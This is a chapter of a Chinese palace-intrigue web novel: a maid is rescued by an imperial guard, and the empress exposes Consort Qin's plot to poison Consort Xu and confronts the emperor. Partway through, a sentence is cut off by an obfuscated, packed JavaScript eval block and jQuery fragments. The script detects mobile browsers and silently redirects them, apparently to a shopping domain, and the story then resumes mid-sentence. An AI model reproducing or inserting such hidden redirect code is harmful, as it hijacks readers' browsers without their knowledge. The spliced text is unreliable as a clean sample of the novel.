19. 鬼祟

作品:《诛杀穿越者

    她收起垫着的脚尖,手下一用力,摸到了什么硬硬的东西。


    “?”她又用手在易记明的腰前戳了戳,“这是什么?”


    易记明见杜书音在自己身前,歪着头朝自己的怀里张望,还戳着怀里的东西。忍下想笑的嘴角,回答道:“伤药。”


    “伤药?”杜书音抬起头,睁着圆润的眼睛在他的面上来回横扫,最后道:“你哪里受伤了?”


    易记明从怀里拿出一瓶伤药,原本鼓鼓的地方,周围顿时凹陷下去一块。他另一只手握着杜书音的手腕,握着她的手翻转,手掌朝上,将上药放到她的手心里。


    他声音里带着一股玩笑的意味,“我没受伤,是备用。现在正好,给你用了。”


    杜书音目光扫了扫他腰前,那个位置只是凹下去一小块,这还是一瓶伤药的位置,那他怀里究竟藏了多少伤药。


    没等杜书音想清楚,易记明转身朝熬药宫女的方向走去。他道:“我看了,你脸上的伤没什么事,用我给你的药,没几天就好了。”


    杜书音摸摸自己的脸,不由腹诽道:“方才使劲问你,你也不回答。现在倒是想起来了。”


    易记明已经将熬药宫女从地上提起来,朝杜书音通知道:“这个人我押回卫阁了。”


    “等等!”杜书音急忙跑过去,拦下来,“这个人是陷害许昭仪的凶手,我得带到尚功局去。”


    “行,”易记明略点一下头,很好说话道:“我带你过去。”


    “啊,”杜书音想说自己找得到,其实不用他带,不过话到嘴边又拐了弯,“那,谢谢……”


    易记明好似十分受用,脸上出现今日的第一个笑容,“不用跟我客气。”


    杜书音还想说什么,可看着他笑得那么开心,想说的话又憋回了肚子里。


    三个人从尚功局出来,现在又是三个人朝尚功局走去。其中两个人都是一样的,不同的是,杜书音两次路程的心理是完全不同的。


    三人一路无话,路上略显清凉的空气吹醒的杜书音的神志。


    她想起自己方才在司药司后院的表现,真想给自己脖子上来一刀。当时情况紧急,完全没顾上伪装,自己的真面目一下子暴露出来。


    她不动声色地朝自己身侧的易记明瞟去,他会不会怀疑自己啊。她悄然垂下视野,心中暗暗给自己打气,“好,很好,杜书音。无论什么时候都要记住自己的伪装,千万不要露馅了!”


    她在心中不断给自己打气,祈祷自己下次经历生死的时候一定要记住这次的祷告!


    易记明帮人犯押入尚功局的牢房,便离开了。


    杜书音没在这里找到张女史,想着她应该是已经回到蓬莱殿向皇后禀告了。匆忙往蓬莱殿赶去。


    踏入殿中,张女史果然站在皇后身前,正在说着什么。


    杜书音行礼后,禀报道:“娘娘,我找到了新的线索。”


    皇后和张女史看过来,皇后沉稳的嗓音在殿中响起,“什么新线索?”


    “熬药宫人。奴婢觉得她行为可疑,放她出尚功局后一直暗中跟着她,果然看到她正在销毁许昭仪用过的药渣。她是害怕我们从药渣中查到新的线索,故而销毁,被奴婢当场抓获,她还想杀奴婢灭口,幸好奴婢被易大人救下。”杜书音道。


    “明朗?”皇后十分反常,不关心凶手的情况,倒是问起了易大人。


    “是。”杜书音道。


    皇后了然,面上笑笑,“有他出手,那凶手应当跑不掉。”


    “娘娘睿智。”杜书音道。


    皇后指着张女史吩咐道:“你去,一定要问出背后之人是谁,不管用什么手段。”


    杜书音险些以为自己看错了,她好像看到皇后眼中闪过狠厉的光,转瞬即逝,消失得无影无踪。


    “杜书音,你过来。”杜书音一回神,发现皇后正在叫自己,她抬脚往皇后跟前走了几步,低头恭顺等候差遣。


    “你和我说说,当时明朗出现的时候是个什么情况?”杜书音惊讶抬头,看到皇后眼里闪着好奇的光。


    “我……当时是这样的……”


    杜书音话没说完,被皇后突然打断,“你脸上的伤也是这么来的?”


    “是。”杜书音道。


    时间一晃,到了晚间。


    张女史还没有回来。而杜书音在殿内给皇后讲解今日白天发生的事。皇后不停问易记明当时是什么反应,之后又是什么反应……


    杜书音哪里知道,她当时忙着照顾自己的脸,哪里有闲心观察别人的表情脸色。但皇后问起来,她也只好试着回想,忙着敷衍。


    皇后见张女史手里拿着东西进来,这才肯放过杜书音,“你回去休息吧。”


    杜书音对着皇后行礼离开,也不知道皇后是不是太关注这位义子的缘故,竟然拉着她将那一小段事情来回讲了个好几遍。


    真是……太累了……


    蓬莱殿中,皇后方才玩笑的神色已经不见,变成往日的严肃和凌厉,“如何?查到了吗?”


    “查到了。”张女史声音放低,“这一切都是秦贤妃在背后主使。她威逼利诱,让许昭仪的贴身女史出来顶罪,为了隐瞒做这件事情的真正凶手,就是那名熬药的宫女。她是宁国公夫人在宫外精心挑选,安插进宫的。这些年帮贤妃做了不少事情。这是她的认罪书。”张女史将手里的东西递上前。


    皇后边翻开认罪书,边问:“是她自己招认的?”


    “是。”张女史道。


    “你没有屈打成招吧?”皇后问。


    “没有,用的刑罚都是最轻的。”张女史答。


    “陛下在哪里?”皇后问。


    “许昭仪病了,应该是在长安殿。”张女史答。


    “许昭仪那边怎么样了?”皇后收起认罪书,起身整理衣服。


    “林司药来禀报过,说是身上和脸上的水泡都破了,就算能用药膏,估计也回不到原来的模样了。”张女史跟着往前走了几步。


    “把许昭仪叫到长安殿,”周围的烛光映着皇后的脸,她忽然笑了,“马上要有好戏可以看了。”


    “是。”张女史看着皇后带人离开,在殿内满意的笑笑。


    长安殿内,启元帝正帮秦贤妃梳妆。


    秦贤妃看着镜子中自己的温婉的脸上画着精致的妆容,十分满意。


    启元帝将最后一支珠钗插|入


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622434|187145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发髻中,往后退了几步,看着镜子中贤妃满意欢喜的模样十分高兴。


    “贤妃今日要给吾跳什么舞啊?”启元帝走到躺椅前坐下,倚着靠枕,手中端着方才从桌上拿的酒盏,慢饮一口,神色迷离地看着贤妃的身姿。


    贤妃望向启元帝,眼神缠绵,似有一根黏腻的丝线将二人牵连。她轻启粉唇,柔声道:“胡璇舞。”


    殿外,长安殿的宫人见皇后过来,纷纷行礼。


    周凝见皇后要直入殿中,赶过来阻拦,“娘娘……”


    皇后面色沉静,看了她一眼,道:“你进去通报,就说我来了。”


    周凝面露犹豫,支支吾吾道:“皇后娘娘,陛下正在里面……”


    皇后也没有耐心,给了身后的宫女一个眼神。从她身后走出几名宫女,一人站在一边扯着周凝的肩膀将她拖了下去。


    “娘娘!娘娘!您不能进去啊!”周凝的声音传到殿内,贤妃舞动的手臂一顿。她似是猜到皇后正在殿外,从空旷的舞台上赤脚走下来。


    果然没走几步,便看到皇后带着一众宫女将殿门打开,浩浩荡荡从外面进来。贤妃也不恼,自觉走到陛下的身边。


    皇帝的兴致被打断,不爽的脸色并没有显露出来。他弯起嘴角,对着皇后道:“皇后,怎么了?”


    “我找到在许昭仪的药里加东西的人了。”皇后道。


    “是谁?”皇帝眉头微皱,问道。


    “吴福。她是司药司负责煎药熬药的宫女,也是宁国公夫人送进宫来的。”皇后说着意有所指地朝秦贤妃看去。


    贤妃一向在陛下面前温柔可人,这次也不例外,“皇后这是怀疑我?”她转而看向坐在位置上的皇帝,柔声道:“母亲将人送到宫里,也是怕我恩宠过剩,遭到小人嫉妒,才将人安排在司药司的。我这心里究竟是个什么模样,陛下这些年应当已经看清楚了吧?”


    “她已经招供,认罪书就在这里。”皇后举着手里的认罪书。


    皇帝站起身,拿过认罪书翻开起来。


    他旁边的贤妃见状也不恼不怒,目光与皇后对上,还能淡然温柔的笑笑。


    皇后则面无表情。


    皇帝看完认罪书,将认罪书放入皇后的手里,背身坐下,道:“皇后打算如何?”皇后也不怵,目光与皇帝对视,平淡出声,“降位、禁足、扣月俸。”


    贤妃听到此话,面上不再有笑容,她冷冷地垂下眼睫,不发一言。


    启元帝沉思一阵,缓和了口气,对皇后道:“惩罚得太多,太重。不如……”


    “陛下!陛下!求您让妾进去!”皇帝的话没说完,被许昭仪在殿外吵嚷的声音打断。她哭得悲伤,叫得尖锐,让人想忽视都难。


    启元帝一听声音,便觉得头疼,他手撑在膝盖上,捂着额头,满是躲避的模样。


    皇后也不着急,找了个位置坐下,不急不慢道:“陛下若是觉得罚得太重,不如问问许昭仪的意思吧,她此时在殿外,正等着陛下传召呢。”她打量起周围环境的布置来,声音轻轻的,“我和许昭仪今晚就在长安殿住下了,只等着陛下决策。若是等到明日陛下还没有个决断,吾就帮陛下去上朝,处理朝政。”